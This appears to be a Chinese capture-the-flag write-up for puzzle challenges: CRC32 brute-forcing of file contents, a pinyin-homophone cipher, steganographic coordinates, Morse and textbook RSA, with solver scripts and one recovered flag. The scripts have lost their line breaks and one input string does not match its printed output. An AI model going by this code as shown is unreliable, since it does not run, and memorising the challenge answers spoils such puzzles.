for i in tqdm(range(0, 256)):tempi = hex(i)[2:]if len(tempi) == 1:tempi = '0' + tempitempi = binascii.a2b_hex(tempi)for j in range(0, 256):tempj = hex(j)[2:]if len(tempj) == 1:tempj = '0' + tempjtempj = binascii.a2b_hex(tempj)for k in range(0, 256):tempk = hex(k)[2:]if len(tempk) == 1:tempk = '0' + tempktempk = binascii.a2b_hex(tempk)fcrc = binascii.crc32(tempi + tempj + tempk)if fcrc in fcrc_fnames:fcrc_value[fcrc] = tempi + tempj + tempkprint(f'总crc个数:{len(fcrc_fnames)},破解成功个数:{len(fcrc_value)}')result = {}
print('正在将结果编码:')
for fcrc in tqdm(fcrc_value):for fname in fcrc_fnames[fcrc]:result[fname] = fcrc_value[fcrc].decode()print('编码结果:')
for i in range(0, len(result)):print(result[f'{i}.txt'], end='')
跑出来的结果
大写的乌壹大写的资大写的喔大写的日大写的佛大写的资大写的佛大写的巫基得大写的讷大写的迂大写的鹅伍日大写的特大写的巫坡讷大写的摸大写的乌伍陆啊叁大写的日大写的喔大写的日大写的哥得肆大写的特大写的乌大写的摸巫大写的摸大写的佛坡大写的鹅大写的欺大写的特大写的迂大写的摸大写的迂大写的哥希坡大写的巫勒得大写的日得大写的佛勒大写的希大写的日大写的希喝大写的喔大写的迂零大写的资坡大写的巫大写的迂大写的日科啊零壹大写的乌大写的日摸特摸大写的乌大写的特零玖
根据谐音的字母排序,歪肯定是对应y
又是借用大佬的脚本
# -*- coding: GB2312 -*-
import base64conversion_table = {'A': '大写的啊','B': '大写的玻','C': '大写的雌','D': '大写的得','E': '大写的鹅','F': '大写的佛','G': '大写的哥','H': '大写的喝','I': '大写的衣','J': '大写的基','K': '大写的科','L': '大写的勒','M': '大写的摸','N': '大写的讷','O': '大写的喔','P': '大写的坡','Q': '大写的欺','R': '大写的日','S': '大写的思','T': '大写的特','U': '大写的乌','V': '大写的迂','W': '大写的巫','X': '大写的希','Y': '大写的衣','Z': '大写的资','a': '啊','b': '玻','c': '雌','d': '得','e': '鹅','f': '佛','g': '哥','h': '喝','i': '衣','j': '基','k': '科','l': '勒','m': '摸','n': '讷','o': '喔','p': '坡','q': '欺','r': '日','s': '思','t': '特','u': '乌','v': '迂','w': '巫','x': '希','y': '衣','z': '资',
}
numbers = {'0':'零','1':'壹', '2':'贰', '3':'叁', '4':'肆', '5':'伍', '6':'陆', 7:'柒', '8':'捌', '9':'玖'}
table=dict([val,key] for key,val in conversion_table.items())
numbers=dict([val,key] for key,val in numbers.items())
# print(table[])
test="大写的乌壹大写的资大写的喔大写的日大写的佛大写的资大写的佛大写的巫基得啊大写的迂大写的哥思壹大写的特勒得啊啊零伍大写的喝大写的特大写的希大写的日大写的喔大写的日大写的鹅大写的鹅歪大写的特零大写的摸巫大写的摸大写的佛勒欺大写的思大写的特大写的佛大写的摸大写的迂零大写的资特大写的特大写的巫壹大写的基得大写的鹅壹大写的希大写的特大写的特大写的基大写的喔大写的日大写的哥大写的日欺大写的特大写的迂大写的日喔玻大写的乌零歪大写的巫摸勒摸大写的乌大写的特零玖"for key in table:test=test.replace(key, table[key])
for key in numbers:test = test.replace(key,str(numbers[key]))
for key in numbers:test = test.replace("歪", "y") #这个地方比较特殊,在读音里面有两个衣#print(test)
# print(test,conversion_table)
print(test)
print(base64.b64decode(base64.b64decode(test)))
得到flag
小猫
png图片使用stegsolve查看
发现数组坐标
(3,2),(3,2),(3,2),(3,3),(3,1),(3,2),(2,1)
(3,2),(4,2),(4,2),(3,3),(2,1),(3,2),(2,1)
(3,2),(4,1),(3,2),(2,1),(4,1),(2,1),(4,1)
(2,3),(4,1),(2,2),(3,2),(3,2),(3,2),(1,2)
(4,1),(4,1),(3,2),(1,2),(4,1),(1,1),(3,2)
(3,2),(4,1),(3,1),(4,1),(4,1),(4,1),(2,3)
(4,1),(3,1),(4,1),(2,2),(4,1),(1,2),(4,1)
(1,3),(3,2),(1,2),(4,1),(1,1),(4,1),(3,1)
(4,1),(2,3),(4,1),(4,2),(4,1),(3,2),(4,1)
(4,2),(3,2),(1,2),(3,2),(3,1),(3,2),(3,2)
(4,1),(4,2),(4,1),(3,2),(4,1),(3,2),(4,2)
(4,3),(4,2)
然后在BGR处发现一个新图片
删掉前边的32fd后打开图片
联想到社会主义核心价值观编码
将坐标一一转换
利用脚本
postion = '''(3,2),(3,2),(3,2),(3,3),(3,1),(3,2),(2,1)
(3,2),(4,2),(4,2),(3,3),(2,1),(3,2),(2,1)
(3,2),(4,1),(3,2),(2,1),(4,1),(2,1),(4,1)
(2,3),(4,1),(2,2),(3,2),(3,2),(3,2),(1,2)
(4,1),(4,1),(3,2),(1,2),(4,1),(1,1),(3,2)
(3,2),(4,1),(3,1),(4,1),(4,1),(4,1),(2,3)
(4,1),(3,1),(4,1),(2,2),(4,1),(1,2),(4,1)
(1,3),(3,2),(1,2),(4,1),(1,1),(4,1),(3,1)
(4,1),(2,3),(4,1),(4,2),(4,1),(3,2),(4,1)
(4,2),(3,2),(1,2),(3,2),(3,1),(3,2),(3,2)
(4,1),(4,2),(4,1),(3,2),(4,1),(3,2),(4,2)
(4,3),(4,2)'''.split("\n")data = [["富强","民主","文明","和谐"],["自由","平等","公正","法治"],["爱国","敬业","诚信","友善"]]print("\n".join(["".join([data[k-1][j-1] for j,k in list(eval(i)) ]) for i in postion]))
就得到了
公正公正公正诚信文明公正民主
公正法治法治诚信民主公正民主
公正和谐公正民主和谐民主和谐
敬业和谐平等公正公正公正自由
和谐和谐公正自由和谐富强公正
公正和谐文明和谐和谐和谐敬业
和谐文明和谐平等和谐自由和谐
爱国公正自由和谐富强和谐文明
和谐敬业和谐法治和谐公正和谐
法治公正自由公正文明公正公正
和谐法治和谐公正和谐公正法治
友善法治
解码即可得到flag
Crypto
夹里夹气
题目
嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤?嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤
嘤嘤嘤替换为 -
嘤嘤?替换为.
就得到了
.. ... -.-. - ..-. ----.-- .... ... -... -.. .... ..--.- ... ..-. .--- ..--.- .--- -.. -. ..-. .--- ..--.- -.. .--- -. ..-. .--- -.. -- -----.-s
一眼摩斯密码,解密就得到了flag
转换一下
得到flag
ISCTF{HSBDH_SFJ_JDNFJ_DJNFJDM}
easy_rsa
题目
你知道RSA的计算过程吗?
p=139744621266581284555301262509839742287349250409968703559081131232028924574561465768537643954928975481131355695687821012120490469005849145370624021549563652016543819238953037735482786294980123822036132614786850832066081704071615452263800051571853424753377904379848921799252996540245924266574230538558285742471
q=166495578748657854875237396069719295055448002754511883152125418561612611244017570110302773275437442022833722928258959000453627886016724285261001021493956977308452313495539853200240139966559029669154358433442980383189659342966998757607507977694433417547446337797754297431944215445741316720552642069422325184567
e=65537
c=17340021486214760389213758208588141127072486699272982410728163153401602395394464414919460177536802418266590027396961488858340991431268260733301955692277550978018123655702861855641782876680958276856499856079990782814550095512842172546462662651849234511968949790122961975823510636593490127183196460556566702823844240843409530810477077191235944238007848708049098241404482488338200425454968055209868379192089566433646332422458398997077449909634990973131210874996164136839543113590193936487789922528083407018996308707492837933253938012365528276750648018182426246833564761574591278308627246085238205159221848375550149778386
跑一下
import gmpy2
from Crypto.Util.number import long_to_bytese = 65537
p = 139744621266581284555301262509839742287349250409968703559081131232028924574561465768537643954928975481131355695687821012120490469005849145370624021549563652016543819238953037735482786294980123822036132614786850832066081704071615452263800051571853424753377904379848921799252996540245924266574230538558285742471
q = 166495578748657854875237396069719295055448002754511883152125418561612611244017570110302773275437442022833722928258959000453627886016724285261001021493956977308452313495539853200240139966559029669154358433442980383189659342966998757607507977694433417547446337797754297431944215445741316720552642069422325184567
c = 17340021486214760389213758208588141127072486699272982410728163153401602395394464414919460177536802418266590027396961488858340991431268260733301955692277550978018123655702861855641782876680958276856499856079990782814550095512842172546462662651849234511968949790122961975823510636593490127183196460556566702823844240843409530810477077191235944238007848708049098241404482488338200425454968055209868379192089566433646332422458398997077449909634990973131210874996164136839543113590193936487789922528083407018996308707492837933253938012365528276750648018182426246833564761574591278308627246085238205159221848375550149778386
n=p*q
phi_n=(p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(long_to_bytes(m))
得到flag
rsa_d
题目
你知道RSA的计算过程吗?
p=94404481
q=40152251
e=65537
d=?
跑一下
p=
q=
e=import gmpy2
n=p*q
phi = (p-1)*(q-1)
d=gmpy2.invert(e,phi)
print(d)
得到d
输入计算即可